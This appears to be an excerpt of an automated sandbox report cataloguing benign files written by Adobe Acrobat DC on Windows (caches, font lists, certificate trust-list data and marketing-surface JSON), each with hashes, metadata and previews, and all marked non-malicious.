SSDEEP:	6:iO4nslFlWM+q2PcNwi2nKuAl9OmbzNMxIFUtSnZ1ZmwsnuWMVkwOcNwi2nKuAl9c:7AAlL+vLZHAa8jFUt+T/8uLV54ZHAa8E
MD5:	D1A0106D5658E41BC5C3881EF97B1F0C
SHA1:	E9EBD6CF35066BA2B47BA829F6B984C9EA579304
SHA-256:	B46B20BC74F78BD8951600A920C92CB8D95D16C7BC3C67BF66BE8F149405A33E
SHA-512:	64F3FEA96283AF7733A4F5985D63CC5C3056FD113DF2867C02CDA7D7476A84C8DA9C1267500AB3FADD369BABB25B6DCC73A347F9FA0423EFA08AFA5D18B6FBCC
Malicious:	false
Preview:	2025/01/10-11:10:55.886 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:10:55.887 1d1c Recovering log #3.2025/01/10-11:10:55.888 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438393590285983
Encrypted:	false
SSDEEP:	384:yeaci5GAiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1surVgazUpUTTGt
MD5:	975543B42091BC80AD873990AE793FF1
SHA1:	EE4C9A8939F240875054A0924E215FFFFA309BA2
SHA-256:	1B425D1D06D5B86C2EC1F362A5D2958BCA526EDC2E802C1409F808E17AFB9FD7
SHA-512:	467337C79F6DF930A82A149203E585CD2EDC358F59872273F210CAAE3AD4DE25EF510BF731291945F04DF634DA06CDF7152FE998889E2CFB2BB60A8105D0B693
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7732285423823955
Encrypted:	false
SSDEEP:	48:7MTp/E2ioyVFioy3DoWoy1CABoy1BKOioy1noy1AYoy1Wioy1hioybioyxoy1noF:74pjuF0iA3XKQEDb9IVXEBodRBki
MD5:	D4D5E3EBB4E59B559A84F1C4F577E4EB
SHA1:	E6340C699201C50249434290BB1CC022E5361114
SHA-256:	5459985D97EAB5F680C8FE51AC8E32AE33E26B1387585CAEF20203A9B7B269C3
SHA-512:	B3E206B2CC430CF78BA22AAED1D24EECB72567B086262EA7C0D145CB1F6F7E35F9B23142AA46F33877D498C84CCC6E82147AF47ED4AED7AA5E24F3E2CDCB3A35
Malicious:	false
Preview:	.... .c....._+.V...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFkl7vWpstfllXlE/HT8kuFqXNNX8RolJuRdxLlGB9lQRYwpDdt:kK+eT8oNMa8RdWBwRd
MD5:	682B1D612BE0D75F4DF58F7DEB3AE093
SHA1:	60606295B882FC48DE61FBC846797008D35158A7
SHA-256:	C0C759F968B94C5DDB9810043E38B31920AB3C4D7D6C641F3B6B383976250984
SHA-512:	91015BE6CA129E71BB1C28D006522FE530DF3664FC97E80F79169CD7380FDAEBB7310749D9F15CAF8B5BDF6813D09D811494A517D29AB7E3B983DEEE03E4F330
Malicious:	false
Preview:	p...... ..........'Bzc..(....................................................... ..........W..... ..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKLf6L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:zf6iDImsLNkPlE99SNxAhUe/3
MD5:	C5A7A7F326FCA09AA5724011F1A5ACF2
SHA1:	C4380E2CD6E7C6A51B168586829EB66360CCDDA9
SHA-256:	66B0A7B5D1E2E04C5E651C137BF3D84B821878673EAFE053B5F1EDBC185457E0
SHA-512:	A4BB2450EC9D2024664FBFD6CEC3F94700ED69DA252A8E396117733F77667DA6E2A78E4580BAD8D27690F36857548A9995AA259A33721D4059646B4D499789DD
Malicious:	false
Preview:	p...... ........?.ffzc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2436

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2436

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374828150104396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJM3g98kUwPeUkwRe9:YvXKXBIDsdTeOmzGMbLUkee9
MD5:	4808A12B97DE7921F44D89385380F4D3
SHA1:	2C871270961F5EF17D45FC804E6FF61B75F731C9
SHA-256:	CA99C55187FCADD2C2CC7A2C0888A444D02B9B5CB21702CD2B90BECA87AD5DAA
SHA-512:	ADD700CA43FC4C0ECFB27D2BDA47263E31D7D554223E51898E81259F7C7DF0007404346BDB0C61D1CC2DA64D42AF4B421E71493308F249423E43F12ABFC6D777
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311607047942283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfBoTfXpnrPeUkwRe9:YvXKXBIDsdTeOmzGWTfXcUkee9
MD5:	94DDF9F48F8DFB1DFE13093ACB4122BD
SHA1:	6C41A92FF07FF0D594C9848B88ACB3336D7C522A
SHA-256:	52D44A47B47F533CCB619A653263D8831A4B1A104ED00E711F25213A504D77C9
SHA-512:	3378679BD162DCB7372FABFC0A2F33E47AB41C44F6C1B309EFF569F31A6C1599748B9C4BED5D8518EBEF41484BC3CAF50BDD7D463EB64FBD5EF9A75922C4A341
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2908047959114874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfBD2G6UpnrPeUkwRe9:YvXKXBIDsdTeOmzGR22cUkee9
MD5:	16D8F252EE551894A3C4950B18392FFD
SHA1:	32D1E9B5BB7D0FD7F9169F0AEB6B3786D2A937C0
SHA-256:	05D78373EAB35C3D4835848FD6A542BD5B09561AF2CC57AB315135ECA9FBAEDA
SHA-512:	5AA793D64A39A32462D53086C2275CAF65E320E782A45A65BC825C6BF76B13D8DFE059CD2188E369BBCC9094A4BB0985754834701EBCAF99213BE21C9A89D2A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3621087256727975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfPmwrPeUkwRe9:YvXKXBIDsdTeOmzGH56Ukee9
MD5:	EB6E2E97DE56B7EC698F3AB791D5F8B8
SHA1:	FC30BFAF8A21EC05BA700088281816E444E721B3
SHA-256:	A228D02354AA531FB5578DBD0FD767A48EE4959CB881F815BA8B2F0CAB7ECFB8
SHA-512:	7B78855B58355B21672B9C9796A132DC4CB6D8D8C1B6212F4A8C54F02405B2BE82751B469BF9563C50F4F0A3EC253D2E98DFE15005CAA93D7D8CFCFB493A691A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697304665075717
Encrypted:	false
SSDEEP:	24:Yv6XBIDmeOmopLgE9cQx8LennAvzBvkn0RCmK8czOCCSn:YvExeOhgy6SAFv5Ah8cv/n
MD5:	F831BA1053F30DA828475C308D294654
SHA1:	BB2A92A53B6B618DF0773DC97F84A147942B76F1
SHA-256:	54279D7488F01E4BF7F8CF3BA60FC041C9576B8ADB80229807D372EE6D377BB9
SHA-512:	52F393BE0D0B513DAB3360EB75FFD83DCAF2C4203E51539E7233F4F67BF5F28FC087B50B0A1F89D35FA4295B06EF158EDA70BC9EC0C262C392BEC138EA8AA753
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301475657947491
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJf8dPeUkwRe9:YvXKXBIDsdTeOmzGU8Ukee9
MD5:	14F9AB107BD1125DEF608AA52C06F0CC
SHA1:	96FC086EB108A58192932B187C917F5A73FAAF89
SHA-256:	57CD885CC960BB17A75C0E9A94AC7FF68B2029772F3661EA1DA0E15BB21C932E
SHA-512:	FC0AD200D410E52979F18B49B7115F2DE81C9124F33D02576FF601D979B7A01CB693271C212BFF28240CBFEF10C651BDCA085266723DB66CF08D7EA5165FEA55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30534293471643
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfQ1rPeUkwRe9:YvXKXBIDsdTeOmzGY16Ukee9
MD5:	908856FB59F7723C7A2AE1ED58C2FAF1
SHA1:	764DBCD760726115ED85BE7B4B57BC5107FDDEC9
SHA-256:	857203F6EA1E44EB5AC49074538D80D46424904CB58196244EE0970849E79501
SHA-512:	8E4688C0FA7BF6B13C771E4EBD44D859BF42C03F7E0D5DBA22D209A83D99229767D1453B1C1CB4353967B6EF1941CA143899BFA93493CAD5D34A69AB96EB6E72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320886178620282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBIQWsGiIPEeOF0YGSKeoAvJfFldPeUkwRe9:YvXKXBIDsdTeOmzGz8Ukee9
MD5:	CE8D2FA1B8DBEEF825A3034F9B28D534
SHA1:	DCAF88F951CE139DC168782B341A5EF42F0B890D
SHA-256:	28BDB8DB532D51E630122052DD009CA961468B950E47DBE91808057552703C43
SHA-512:	77433E5F8E892463B1B01D13FD93523090E549E4F00FC781CB2CC96565087252840C6B0E71DA667D2FF30D6605AC8798AF3859CEF9D8FED890F4D652964A88BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60f81a54-6527-4027-82e6-6df82712f222","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736698998716,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

